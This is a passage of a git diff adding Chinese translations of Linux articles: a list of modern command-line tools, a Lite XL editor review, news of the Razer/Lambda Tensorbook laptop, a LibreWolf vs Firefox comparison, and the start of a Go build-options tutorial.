+[3]: https://www.debugpoint.com/wp-content/uploads/2022/04/Kubuntu-22.04-Overview-screen-1024x580.jpg +[5]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[6]: http://cdimage.ubuntu.com/kubuntu/releases/22.04/beta/kubuntu-22.04-beta-desktop-amd64.iso +[7]: https://t.me/debugpoint +[8]: https://twitter.com/DebugPoint +[9]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[10]: https://facebook.com/DebugPoint diff --git a/published/202204/20220412 A list of new(ish) command line tools.md b/published/202204/20220412 A list of new(ish) command line tools.md new file mode 100644 index 0000000000..be3f3450c8 --- /dev/null +++ b/published/202204/20220412 A list of new(ish) command line tools.md @@ -0,0 +1,180 @@ +[#]: subject: "A list of new(ish) command line tools" +[#]: via: "https://jvns.ca/blog/2022/04/12/a-list-of-new-ish--command-line-tools/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14488-1.html" + +新式 Linux 命令行工具大全 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/18/230845e83y1wla8feawucp.jpg) + +嗨!今天我 [在 twitter][1] 询问有没有一些像 `ripgrep`、`fd`、`fzf`、`exa` 及 `bat` 之类的新式命令行工具。 + +我收到了一大堆回复,都是我没有听说过的工具,所以我想我应该在这里列出一个清单。另外,很多人还指出有一个 [modern-unix][2] 的列表。 + +### 标准工具的替代物 + + * [ripgrep][3]、[ag][4]、[ack][5] (`grep`) + * [exa][6]、[lsd][7] (`ls`) + * [mosh][8] (`ssh`) + * [bat][9] (`cat`) + * [delta][10] (`git` 分页器) + * [fd][11] (`find`) + * [drill][12]、[dog][13] (`dig`) + * [duf][14] (`df`) + * [dust][15]、`ncdu` (`du`) + * [pgcli][16] (psql) + * [btm][17]、[btop][18]、[glances][19]、[gtop][20]、[zenith][21] (`top`) + * [tldr][22] (类似 `man`) + * [sd][23] (`sed`) + * [difftastic][24] (`diff`) + * `mtr` (`traceroute`) + * [plocate][25] (`locate`) + * `xxd`、[hexyl][26] (`hexdump`) + +### 新的发明 + +这里有一些不完全是替代标准工具的工具: + + * [z][27]、[fasd][28]、[autojump][29]、[zoxide][30] (使查找文件/改变目录更容易的工具) + * [broot][31]、[nnn][32]、[ranger][33] (文件管理器) + * [direnv][34] (根据当前目录加载环境变量) + * [fzf][35]、[peco][36] (“模糊查找器”) + * [croc][37] 和 [magic-wormhole][38] (将文件从一台计算机发送到另一台) + * [hyperfine][39] 基准测试 + * [httpie][40]、[curlie][41]、[xh][42] (用于发出 HTTP 请求) + * [entr][43] (当文件改变时运行任意命令) + * [asdf][44] (多语言的版本管理器) + * [tig][45]、[lazygit][46] (`git` 的交互界面) + * [lazydocker][47] (`docker` 的交互式界面) + * [choose][48] (基本版的 `awk`/`cut`) + * [ctop][49] (容器的 `top`) + * [fuck][50] (自动纠正命令行错误) + * [tmate][51] (与朋友分享你的终端) + * [lnav][52]、[angle-grinder][53] (管理日志的工具) + * [mdp][54]、[glow][55] (在终端显示 Markdown 的方法) + * `pbcopy`/`pbpaste`(用于剪贴板和标准输入/标准输出之间)可能不是“新的”,但被提到了很多次。你可以使用 `xclip` 在 Linux 上做同样的事情 + +### JSON/YAML/CSV 工具 + + * [jq][57] (一个很好的 JSON 处理工具) + * [jc][58] (将各种工具的输出转换成 JSON) + * [jo][59] (创建 JSON 对象) + * [yq][60] (类似 `jq`,但用于 YAML),还有 [另一个 yq][61] + * [fq][62] (类似 `jq`,但用于二进制) + * [htmlq][63] (类似 `jq`,但用于 HTML) + * [fx][64] (交互式 JSON 工具) + * [jless][65] (JSON 分页器) + * [xsv][66] (一个用于 CSV 文件的命令行工具,来自 burntsushi) + * [visidata][67] (“一个用于表格数据的交互式多功能工具”) + * [miller][68] (“像用于 CSV/TSV/JSON/JSON 的 awk/sed/cut/join/sort”) + +### grep 工具 + + * [pdfgrep][69] (用于 PDF 的 `grep`) + * [gron][70] (用于 JSON 的 `grep`) + * [ripgrep-all][71] (`ripgrep`,但也用于 PDF、zip、电子书等) + +### 不太新的工具 + +下面是人们提到的一些不那么新的工具,但不那么知名: + + * `pv` (“管道查看程序”,给你一个管道的进度条) + * `vidir` (来自 [moreutils][72],可以让你在 `vim` 中批量重命名/删除文件) + * `sponge`、`ts`、`parallel` (也来自 moreutils) + +### 我的一些最爱 + +我最喜欢的是 `entr`、`ripgrep`、`git-delta`、`httpie`、`plocate` 和 `jq`,这些都是我已经使用过的。 + +我也想尝试一下 `direnv`、`btm`、`z`、`xsv` 和 `duf`,但我认为我知道到的最令人兴奋的工具是 `vidir`。 + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/04/12/a-list-of-new-ish--command-line-tools/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://twitter.com/b0rk/status/1513903221466664962 +[2]: https://github.com/ibraheemdev/modern-unix +[3]: https://github.com/BurntSushi/ripgrep/ +[4]: https://github.com/ggreer/the_silver_searcher +[5]: https://github.com/beyondgrep/ack3 +[6]: https://github.com/ogham/exa +[7]: https://github.com/Peltoche/lsd +[8]: https://mosh.org/ +[9]: https://github.com/sharkdp/bat +[10]: https://github.com/dandavison/delta +[11]: https://github.com/sharkdp/fd +[12]: https://www.nlnetlabs.nl/projects/ldns/about/ +[13]: https://github.com/ogham/dog +[14]: https://github.com/muesli/duf +[15]: https://github.com/bootandy/dust +[16]: https://www.pgcli.com/ +[17]: https://github.com/ClementTsang/bottom +[18]: https://github.com/aristocratos/btop +[19]: https://github.com/nicolargo/glances +[20]: https://github.com/aksakalli/gtop +[21]: https://github.com/bvaisvil/zenith +[22]: https://tldr.sh/ +[23]: https://github.com/chmln/sd +[24]: https://github.com/Wilfred/difftastic +[25]: https://plocate.sesse.net/ +[26]: https://github.com/sharkdp/hexyl +[27]: https://github.com/rupa/z +[28]: https://github.com/clvv/fasd +[29]: https://github.com/wting/autojump +[30]: https://github.com/ajeetdsouza/zoxide +[31]: https://github.com/Canop/broot +[32]: https://github.com/jarun/nnn +[33]: https://github.com/ranger/ranger +[34]: https://github.com/direnv/direnv +[35]: https://github.com/junegunn/fzf +[36]: https://github.com/peco/peco +[37]: https://github.com/schollz/croc +[38]: https://github.com/magic-wormhole/magic-wormhole +[39]: https://github.com/sharkdp/hyperfine +[40]: https://httpie.io/ +[41]: https://github.com/rs/curlie +[42]: https://github.com/ducaale/xh +[43]: https://github.com/eradman/entr +[44]: https://github.com/asdf-vm/asdf +[45]: https://github.com/jonas/tig +[46]: https://github.com/jesseduffield/lazygit +[47]: https://github.com/jesseduffield/lazydocker +[48]: https://github.com/theryangeary/choose +[49]: https://github.com/bcicen/ctop +[50]: https://github.com/nvbn/thefuck +[51]: https://tmate.io/ +[52]: https://github.com/tstack/lnav +[53]: https://github.com/rcoh/angle-grinder +[54]: https://github.com/visit1985/mdp +[55]: https://github.com/charmbracelet/glow +[56]: https://stackoverflow.com/questions/5130968/how-can-i-copy-the-output-of-a-command-directly-into-my-clipboard/41843618#41843618 +[57]: https://stedolan.github.io/jq/ +[58]: https://github.com/kellyjonbrazil/jc +[59]: https://github.com/jpmens/jo +[60]: https://github.com/mikefarah/yq +[61]: https://github.com/kislyuk/yq +[62]: https://github.com/wader/fq +[63]: https://github.com/mgdm/htmlq +[64]: https://github.com/antonmedv/fx +[65]: https://github.com/PaulJuliusMartinez/jless +[66]: https://github.com/BurntSushi/xsv +[67]: https://www.visidata.org/ +[68]: https://github.com/johnkerl/miller +[69]: https://pdfgrep.org/ +[70]: https://github.com/tomnomnom/gron +[71]: https://github.com/phiresky/ripgrep-all +[72]: https://joeyh.name/code/moreutils diff --git a/published/202204/20220413 Meet Lite XL- A Lightweight, Open-Source Text Editor for Linux Users.md b/published/202204/20220413 Meet Lite XL- A Lightweight, Open-Source Text Editor for Linux Users.md new file mode 100644 index 0000000000..7912850ba1 --- /dev/null +++ b/published/202204/20220413 Meet Lite XL- A Lightweight, Open-Source Text Editor for Linux Users.md @@ -0,0 +1,113 @@ +[#]: subject: "Meet Lite XL: A Lightweight, Open-Source Text Editor for Linux Users" +[#]: via: "https://itsfoss.com/lite-xl/" +[#]: author: "Marco Carmona https://itsfoss.com/author/marco/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14497-1.html" + +Lite XL:为 Linux 用户提供的轻量级、开源的文本编辑器 +====== + +> 你是否在寻找一个新的文本编辑器替代品?你应该试试这个轻量、简洁、快速、功能丰富、可扩展性极强的编辑器。 + +当然,有很多文本编辑器或代码编辑器可以使用。一些流行的包括 Eclipse、[Visual Studio Code][1]、[PyCharm][2]、[Atom][3]、[IntelliJ][4],以及 [Sublime Text][5]。 + +但是你想尝试一些有趣的东西,完全专注于给你一个极简的体验吗? + +来认识一下 Lite XL 编辑器。 + +说实话,在上周之前我对它一无所知。但是,它以其 **极简主义的设计** 和它 **在编码时有多么快** 成功地惊到了我,但最重要的事实是它与 Visual Studio Code 相似。 + +所以,在开始之前,让我告诉你,如果你是一个 [Visual Studio Code 粉丝][6],你绝对应该试试 Lite XL。它可能不是绝对的替代品,而是类似使用场景的精简版。 + +![Showing how Lite XL looks][7] + +### Lite XL:用 Lua 编写的轻量级文本编辑器 + +Lite XL 是一个用 Lua 编写的有趣的开源文本编辑器(特别是为建立轻量级应用而定制)。 + +它也可用于 Windows、Linux 和 macOS。但是,有这么多 [现代文本编辑器][8],为什么还要有个 Lite XL? + +![Lite XL Customize Configuration][9] + +通常情况下,大多数时候我们并不关心文本编辑器会消耗我们系统的资源。然而,在创建 Bash、Python 或任何其他类型的脚本时,你会依赖文本编辑器,而它的资源效率越高越好。 + +当然,文本编辑器并不像其他一些应用那样对资源要求很高。但是,如果这对你很重要的话,我观察到的情况是这样的: + +Lite XL 只使用了 **3MB** 的磁盘,并消耗了大约 **20MB** 内存,而 Visual Studio Code 使用将近 550MB 内存。 + +**你能看到这些类似的编辑器之间的这种奇妙的差别吗?** + +不仅仅是资源使用量,它也是高度可定制的。 + +请注意,在不同的系统配置下,资源占用的统计数字会有所不同。 + +### Lite XL 的特点 + +![][10] + +根据现有的官方信息,其最受欢迎的一些功能包括: + + * **跨平台:** 它目前可以在 Windows、Linux 和 macOS 上使用。 + * **轻量级:** 正如我们之前所描述的,它的使用量几乎没有超过 10MB 的内存。 + * **可扩展:** 作为一个极简的产品,并不意味着不能定制。Lite XL 可以通过一些可用的插件来扩展其功能,例如,[类似 Visual Studio Code 的智能提示][11]。 + * **多光标编辑:** 在 Lite XL 中,你可以使用多个光标进行编辑,这听起来很美妙。 + * **集成的终端:** 像 Visual Studio Code 一样,Lite XL 实现了它的终端。 + * 支持高分辨率显示。 + * 更多的颜色主题。 + * 支持硬件加速渲染。 + +### 如何在 Linux 中安装 Lite XL + +Lite XL 为 Linux 发行版提供了一个 AppImage 文件。你可以按照我们的 [AppImage 指南][12] 来开始使用。 + +你可以在其 [GitHub 仓库][13] 中找到这个 AppImage 文件。 + +当你前往其 GitHub 发布区,直接进入 “资产Assets” 区并下载 `LiteXL_x86_64.Appimage` 文件。 + +![Downloading Appimage file][14] + +AppImage 文件将被下载到你的下载目录中,因此,在双击该文件之前,请验证它是否允许作为程序执行。 + +![Verifying execution permissions][15] + +这就好了! 现在你可以双击该文件,开始在你的系统中使用 Lite XL。 + +> [Lite XL][16] + +如果你对探索 Lite XL 感兴趣,你可以参与其 [GitHub 仓库][13],访问官方网站,或加入其 [Discord 社区][17]。 + +你喜欢用什么来编辑文本和代码?你是否专注使用轻量级的程序,或者与你的使用情况无关?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/lite-xl/ + +作者:[Marco Carmona][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/marco/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/install-visual-studio-code-ubuntu/ +[2]: https://itsfoss.com/install-pycharm-ubuntu/ +[3]: https://itsfoss.com/install-atom-ubuntu/ +[4]: https://itsfoss.com/install-intellij-ubuntu-linux/ +[5]: https://itsfoss.com/sublime-text-3-linux/ +[6]: https://itsfoss.com/visual-studio-code-vs-atom/ +[7]: https://itsfoss.com/wp-content/uploads/2022/04/lite-xl-editor-screenshot.png +[8]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ +[9]: https://itsfoss.com/wp-content/uploads/2022/04/lite-xl-screenshot-2.png +[10]: https://itsfoss.com/wp-content/uploads/2022/04/lite-xl-screnshot-1.png +[11]: https://github.com/lite-xl/lite-xl-lsp +[12]: https://itsfoss.com/use-appimage-linux/ +[13]: https://github.com/lite-xl/lite-xl +[14]: https://itsfoss.com/wp-content/uploads/2022/04/Downloading_Appimage_file-800x447.png +[15]: https://itsfoss.com/wp-content/uploads/2022/04/Verifying_execution_permissions-800x535.png +[16]: https://lite-xl.com/ +[17]: https://discord.gg/RWzqC3nx7K diff --git a/published/202204/20220413 Razer and Lambda Team Up to Unveil a Linux Laptop for Deep Learning.md b/published/202204/20220413 Razer and Lambda Team Up to Unveil a Linux Laptop for Deep Learning.md new file mode 100644 index 0000000000..9f15c1ddeb --- /dev/null +++ b/published/202204/20220413 Razer and Lambda Team Up to Unveil a Linux Laptop for Deep Learning.md @@ -0,0 +1,99 @@ +[#]: subject: "Razer and Lambda Team Up to Unveil a Linux Laptop for Deep Learning" +[#]: via: "https://news.itsfoss.com/tensorbook-razer-lambda/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14493-1.html" + +雷蛇与 Lambda 联手推出用于深度学习的 Linux 笔记本电脑 +====== + +> 雷蛇与一家专注于深度学习的硬件公司合作,以时尚的外形、昂贵的价格提供了最新和最伟大的产品。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/04/tensorbook-linux-ml-laptop.jpg) + +雷蛇Razer 以其游戏外设和硬件而闻名。 + +另一方面,Lambda 提供配备了他们的软件栈的工作站、服务器和 GPU 集群,以尽可能方便地促进深度学习。 + +他们合作推出了一款外观时尚的现代笔记本电脑(由 Ubuntu 20.04 驱动),专为随时随地的深度学习而设计。 + +它不同于 [其他 Linux 笔记本电脑][1]。 + +顺便说一句,深度学习是一种机器学习,你通过实例教给计算机学会类似人类处理信息的方式。你可以查看 [维基百科][2] 以了解更多细节。 + +### Tensorbook:深度学习笔记本电脑 + +[![][3]](https://youtu.be/wMh6Dhq7P_Q) + +Tensorbook 是一款由 Linux 驱动的笔记本电脑,具有最先进的规格,可以帮助你在任何地方高效地进行深度学习训练/开发。而且,Lambda 的软件栈支持各种工具,只需一个命令就能方便地更新 PyTorch、Tensorflow、CUDA 等。 + +当然,这个名字并不令人意外,因为张量Tensor核心有助于加快机器学习训练/过程。 + +![][4] + +雷蛇没有在这台笔记本电脑上添加任何他们惯用的标志性图案,比如绿色的点缀/颜色、标志或 RGB 元素。好吧,毕竟这是为深度学习而定制的。所以,它不太浮华是公平的。 + +你只能在盖子上找到 Lambda 主要标志,在屏幕的底边框上找到 Razer x Lambda 的文字。而且,紫色的风格贯穿始终,Lambda 在这里主导了其品牌宣传。 + +这款笔记本电脑的规格涉及: + + * GPU:GeForce RTX 3080 Max-Q 16 GB VRAM + * CPU:Intel i7-11800H + * 内存:64 GB 3200 MHz DDR4 + * 存储:2 TB NVMe PCIe 4.0 + * 显示:165 Hz 1440p 15.6 英寸 + +除了可靠的核心配置外,连接选项包括: + + * 3 个 USB 3.2 Gen 2 Type-A 端口 + * 1 x HDMI 2.1 + * 1 个 UHS-III SD 卡阅读器 + * 3.5 毫米耳机/麦克风插孔 + * 2 个雷电 4 端口 + * Wi-Fi 6E + * 蓝牙 5.2 + +毋庸置疑,这款笔记本电脑是一个时尚的“动力工厂”,将这些组件容纳于其中。 + +无论你是专业人士还是初学者,RTX 3080 GPU 应该有足够的能力来帮助你完成深度学习任务。 + +当然,它不是为游戏而设计的,但以你所拥有的配置以及高刷新率的屏幕,你可以在需要的时候在上面舒适地玩游戏。 + +![][5] + +其机器学习训练基准声称,它远远领先于 M1 Max 芯片。 + +因此,你在训练模型方面不会有任何问题。 + +### 定价和可用性 + +这是一款高端产品,所以价格标签也一样高端,起价为 **3499 美元**。你可以为企业环境定制它,以便安装上 Windows 10 和 Ubuntu。 + +如果你支付额外的费用,还可以获得延长保修和高级支持。 + +你可以在 Lambda 的官方网站上定制并进行购买。 + +> [Tensorbook][6] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/tensorbook-razer-lambda/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/get-linux-laptops/ +[2]: https://en.wikipedia.org/wiki/Deep_learning +[3]: https://i.ytimg.com/vi/wMh6Dhq7P_Q/hqdefault.jpg +[4]: https://news.itsfoss.com/wp-content/uploads/2022/04/tensorbook-1.jpg +[5]: https://news.itsfoss.com/wp-content/uploads/2022/04/tensorbook-2.jpg +[6]: https://lambdalabs.com/deep-learning/laptops/tensorbook diff --git a/published/202204/20220414 LibreWolf vs Firefox- Comparing the Privacy Heroes of Open-Source Browsers.md b/published/202204/20220414 LibreWolf vs Firefox- Comparing the Privacy Heroes of Open-Source Browsers.md new file mode 100644 index 0000000000..b2ece30ce1 --- /dev/null +++ b/published/202204/20220414 LibreWolf vs Firefox- Comparing the Privacy Heroes of Open-Source Browsers.md @@ -0,0 +1,173 @@ +[#]: subject: "LibreWolf vs Firefox: Comparing the Privacy Heroes of Open-Source Browsers" +[#]: via: "https://itsfoss.com/librewolf-vs-firefox/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14518-1.html" + +LibreWolf vs Firefox:谁是真的隐私英雄 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/28/100907sefofznr9dgrxgxo.jpg) + +Firefox 是最好的跨平台 [开源网页浏览器][1] 之一。 + +更不用说,它是那些基于 Chromium 的浏览器的唯一可行的替代品(也许?) + +LibreWolf 是另一个有趣的选择,它最初是 Firefox 浏览器的一个复刻,试图比 Firefox 浏览器做得更好,以增强开箱即用的隐私/安全性。 + +但是,选择 LibreWolf 而不是 Firefox 真的有用吗?有哪些不同之处?让我们来看一看。 + +### 用户界面 + +鉴于 [LibreWolf][2] 是 Firefox 的一个复刻,其用户界面是相同的,只是有一些细微的变化。 + +![Firefox UI][3] + +例如,它在书签菜单中没有到 Firefox 网站的链接,并且去除了 “添加到 PocketAdd to Pocket” 按钮。 + +取而代之的是,你可以在地址栏的右边找到一个扩展的图标和下载管理器。 + +![LibreWolf UI][4] + +是的,你不再需要前往菜单来访问下载的内容。 + +如果你认为 Firefox 中的额外功能令人烦恼,那么 LibreWolf 应该是一种干净的体验。 + +### 搜索供应商 + +默认情况下,Firefox 使用谷歌作为其搜索引擎,因为它们是官方合作伙伴,也就是说,谷歌付费成为了默认搜索引擎。 + +![][5] + +虽然你可以很轻松地将默认的搜索供应商改为 DuckDuckGo、Startpage 或其他任何东西,但默认的搜索供应商对大多数用户来说仍然很重要。 + +而对于 LibreWolf,它的默认的搜索引擎是 DuckDuckGo。众所周知,它是最好的尊重隐私的搜索引擎之一。 + +![][6] + +应该注意的是,注重隐私的搜索引擎在某些使用情况下可能不如谷歌好。因此,如果搜索引擎的选择对你来说并不是个问题,Firefox 浏览器可以说是很好。 + +但是,如果你想对自己的搜索历史保密,LibreWolf 的默认搜索供应商肯定是一个更好的选择。 + +### 强化隐私 + +Mozilla Firefox 具有令人难以置信的可定制性。如果你想付出努力,你可以在 Firefox 上增强你的数字隐私。 + +然而,如果你想避免投入大量时间来调整 Firefox 的体验,LibreWolf 可能是一个不错的选择。 + +LibreWolf 具有一些开箱即用的最佳设置,以确保你摆脱网上的跟踪器,以获得安全的在线体验。 + +例如,它的默认带有 UBlock 内容拦截器,以消除跟踪你在线活动的跟踪器/脚本。其默认的搜索引擎是 DuckDuckGo,在一定程度上也有帮助。 + +![][7] + +此外,LibreWolf 还启用了 Firefox 增强跟踪保护的严格模式。换句话说,它可以积极地阻止跟踪器,这可能会导致一些网页不能像预期那样工作。 + +![][8] + +虽然 LibreWolf 建议不要改变这些设置,但如果你发现在此设置下网页被破坏,你可以选择使用 Firefox。 + +Firefox 使用启用的基本保护来摆脱常见的追踪器,而不会破坏网页的用户体验。 + +除了这些设置外,LibreWolf 还默认在退出时删除 Cookie 和网站数据。如果你想继续登录网站并迅速恢复你的浏览会话,这可能会很烦人。 + +对于 Firefox,它确实具有相同的选项,但它默认情况下仍然是禁用的。因此,如果你想避免调整内置设置以获得方便的体验,你应该选择 Firefox。 + +![][9] + +难怪 Firefox 仍然是 [Linux 的最佳浏览器][10] 之一。相比增强隐私,大多数用户更喜欢方便,同时还能跨平台使用浏览器。 + +### 谷歌安全浏览 + +“谷歌安全浏览Google Safe Browsing”是一项有用的服务,可以警告、标记可疑网站的恶意活动。 + +大多数浏览器使用它来实现安全的用户体验。你不需要成为发现钓鱼/恶意软件网站的专家,谷歌安全浏览可以帮助你发现它们。 + +Mozilla Firefox 使用它的另一个名字 “钓鱼保护Phishing Protection”,它是默认启用的。 + +然而,在 LibreWolf 中,“谷歌安全浏览”服务默认是禁用的,以避免连接到谷歌服务。你可以启用它,但它不是用户通常在设置浏览器时会注意到的东西。 + +![][11] + +因此,如果你在避免恶意网站方面需要更多帮助,Firefox 应该是一个很好的开箱即用的解决方案。如果你对这些很清楚,你可以使用 LibreWolf,并在需要时启用该设置。 + +### 附加功能 + +LibreWolf 可以摆脱 Firefox 上的任何附加产品。 + +例如,默认情况下,LibreWolf 与 Mozilla 服务器没有任何连接。这也意味着 LibreWolf 摆脱了遥测。它所反映的一些变化包括: + + * LibreWolf 中没有同步/签到功能。 + * 没有 “添加到 Pocket” 的按钮 + * 你不会在扩展页面上加载 Mozilla 的附加组件/主题。 + +![][12] + +如果你想使用 Mozilla 帐户来同步你的历史记录/书签和浏览器数据,Firefox 是最好的选择。如果你需要,还有 Firefox VPN。 + +![][13] + +但是,如果你不信任任何 Mozilla 服务并希望在你的浏览器上切断与它们的任何连接,那么 LibreWolf 就是你的朋友。 + +### 跨平台支持 + +Firefox 可用于 Android 和 iOS,并且适用于各种屏幕尺寸和设备。 + +不幸的是,LibreWolf 仅限于 macOS、Windows、OpenBSD 和 Linux 等桌面平台。 + +### 基于社区 vs 由组织支持 + +[LibreWolf][14] 是一个由社区支持的项目,由一些热情的贡献者维护,旨在促进隐私、安全和用户自由。 + +如果你更喜欢 LibreWolf 提供的产品,那么使用它应该不是问题。即使是一个小团队,他们也会关注最新的 Firefox 版本并尽快推送更新。 + +相比之下,Mozilla 基金会是一个更大的组织,并且一直在树立非凡的榜样来促进可定制性、隐私和安全性。 + +Firefox 会比 LibreWolf 更快地收到更新,如果你担心浏览器的安全性,这是一个重要方面。 + +Firefox 属于一个大组织并没有严重的缺点,但是 Mozilla 为其用户提出的未来可能会有一些你可能不喜欢的决定(或变化)。 + +但是,LibreWolf 作为一个社区项目,会优先考虑用户偏好。 + +### 总结 + +如果方便是你在意的,你需要同步/登录账户功能、Mozilla 的特定功能,以及基本的隐私保护,Mozilla Firefox 应该更适合你。 + +如果你不想要开箱即用的云同步功能、附加功能和以隐私为中心的核心设置,LibreWolf 将是完美的解决方案。 + +在性能方面,两者都应该提供类似的体验。由于某种原因,基准测试(Basemark 3.0、Speedometer 2.0)不适用于 LibreWolf,因此我没有提供任何性能比较图表。 + +我更喜欢使用 Firefox,因为我确实需要基于帐户的同步的便利性,而不需要积极的阻止功能。然而,对于那些想要放弃 Firefox 或者只是想尝试一些专注于用户自由和隐私的东西的人来说,LibreWolf 是一个可靠的选择。 + +它对你而言怎么样?在下面的评论中让我知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/librewolf-vs-firefox/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/open-source-browsers-linux/ +[2]: https://itsfoss.com/librewolf/ +[3]: https://itsfoss.com/wp-content/uploads/2022/04/firefox-ui-1.png +[4]: https://itsfoss.com/wp-content/uploads/2022/04/librewolf-ui-1.png +[5]: https://itsfoss.com/wp-content/uploads/2022/04/firefox-google-search.png +[6]: https://itsfoss.com/wp-content/uploads/2022/04/librewolf-duckduckgo.png +[7]: https://itsfoss.com/wp-content/uploads/2022/04/librewolf-ublock-origin.png +[8]: https://itsfoss.com/wp-content/uploads/2022/04/librewolf-privacy-settings.png +[9]: https://itsfoss.com/wp-content/uploads/2022/04/firefox-privacy-settings.png +[10]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[11]: https://itsfoss.com/wp-content/uploads/2022/04/librewolf-security.png +[12]: https://itsfoss.com/wp-content/uploads/2022/04/firefox-extras.png +[13]: https://itsfoss.com/wp-content/uploads/2022/04/firefox-sign-in.png +[14]: https://librewolf.net/ diff --git a/published/202204/20220414 My favorite build options for Go.md b/published/202204/20220414 My favorite build options for Go.md new file mode 100644 index 0000000000..349ba17ec8 --- /dev/null +++ b/published/202204/20220414 My favorite build options for Go.md @@ -0,0 +1,298 @@ +[#]: subject: "My favorite build options for Go" +[#]: via: "https://opensource.com/article/22/4/go-build-options" +[#]: author: "Gaurav Kamathe https://opensource.com/users/gkamathe" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14525-1.html" + +我最喜欢的 Go 构建选项 +====== + +> 这些方便的 Go 构建选项可以帮助你更好地理解 Go 的编译过程。 + +![](https://img.linux.net.cn/data/attachment/album/202204/30/172121exam5k8vx45kzk7p.jpg) + +学习一门新的编程语言最令人欣慰的部分之一,就是最终运行了一个可执行文件,并获得预期的输出。当我开始学习 Go 这门编程语言时,我先是阅读一些示例程序来熟悉语法,然后是尝试写一些小的测试程序。随着时间的推移,这种方法帮助我熟悉了编译和构建程序的过程。 + +Go 的构建选项提供了更好地控制构建过程的方法。它们还可以提供额外的信息,帮助把这个过程分成更小的部分。在这篇文章中,我将演示我所使用的一些选项。注意:我使用的“构建build”和“编译compile”这两个词是同一个意思。 + +### 开始使用 Go + +我使用的 Go 版本是 1.16.7。但是,这里给出的命令应该也能在最新的版本上运行。如果你没有安装 Go,你可以从 [Go 官网][2] 上下载它,并按照说明进行安装。你可以通过打开一个命令提示符,并键入下面的命令来验证你所安装的版本: + +``` +$ go version +``` + +你应该会得到类似下面这样的输出,具体取决于你安装的版本: + +``` +go version go1.16.7 linux/amd64 +``` + +### 基本的 Go 程序的编译和执行方法 + +我将从一个在屏幕上简单打印 “Hello World” 的 Go 程序示例开始,就像下面这样: + +``` +$ cat hello.go +package main + +import "fmt" + +func main() { + fmt.Println("Hello World") +} +``` + +在讨论更高级的选项之前,我将解释如何编译这个 Go 示例程序。我使用了 `build` 命令,后面跟着 Go 程序的源文件名,本例中是 `hello.go`,就像下面这样: + +``` +$ go build hello.go +``` + +如果一切工作正常,你应该看到在你的当前目录下创建了一个名为 `hello` 的可执行文件。你可以通过使用 `file` 命令验证它是 ELF 二进制可执行格式(在 Linux 平台上)。你也可以直接执行它,你会看到它输出 “Hello World”。 + +``` +$ ls +hello  hello.go + +$ file ./hello +./hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped + +$ ./hello +Hello World +``` + +Go 提供了一个方便的 `run` 命令,以便你只是想看看程序是否能正常工作,并获得预期的输出,而不想生成一个最终的二进制文件。请记住,即使你在当前目录中没有看到可执行文件,Go 仍然会在某个地方编译并生成可执行文件并运行它,然后把它从系统中删除。我将在本文后面的章节中解释。 + +``` +$ go run hello.go +Hello World + +$ ls +hello.go +``` + +### 更多细节 + +上面的命令就像一阵风一样,一下子就运行完了我的程序。然而,如果你想知道 Go 在编译这些程序的过程中做了什么,Go 提供了一个 `-x` 选项,它可以打印出 Go 为产生这个可执行文件所做的一切。 + +简单看一下你就会发现,Go 在 `/tmp` 内创建了一个临时工作目录,并生成了可执行文件,然后把它移到了 Go 源程序所在的当前目录。 + +``` +$ go build -x hello.go + +WORK=/tmp/go-build1944767317 +mkdir -p $WORK/b001/ + +<< snip >> + +mkdir -p $WORK/b001/exe/ +cd . +/usr/lib/golang/pkg/tool/linux_amd64/link -o $WORK \ +/b001/exe/a.out -importcfg $WORK/b001 \ +/importcfg.link -buildmode=exe -buildid=K26hEYzgDkqJjx2Hf-wz/\ 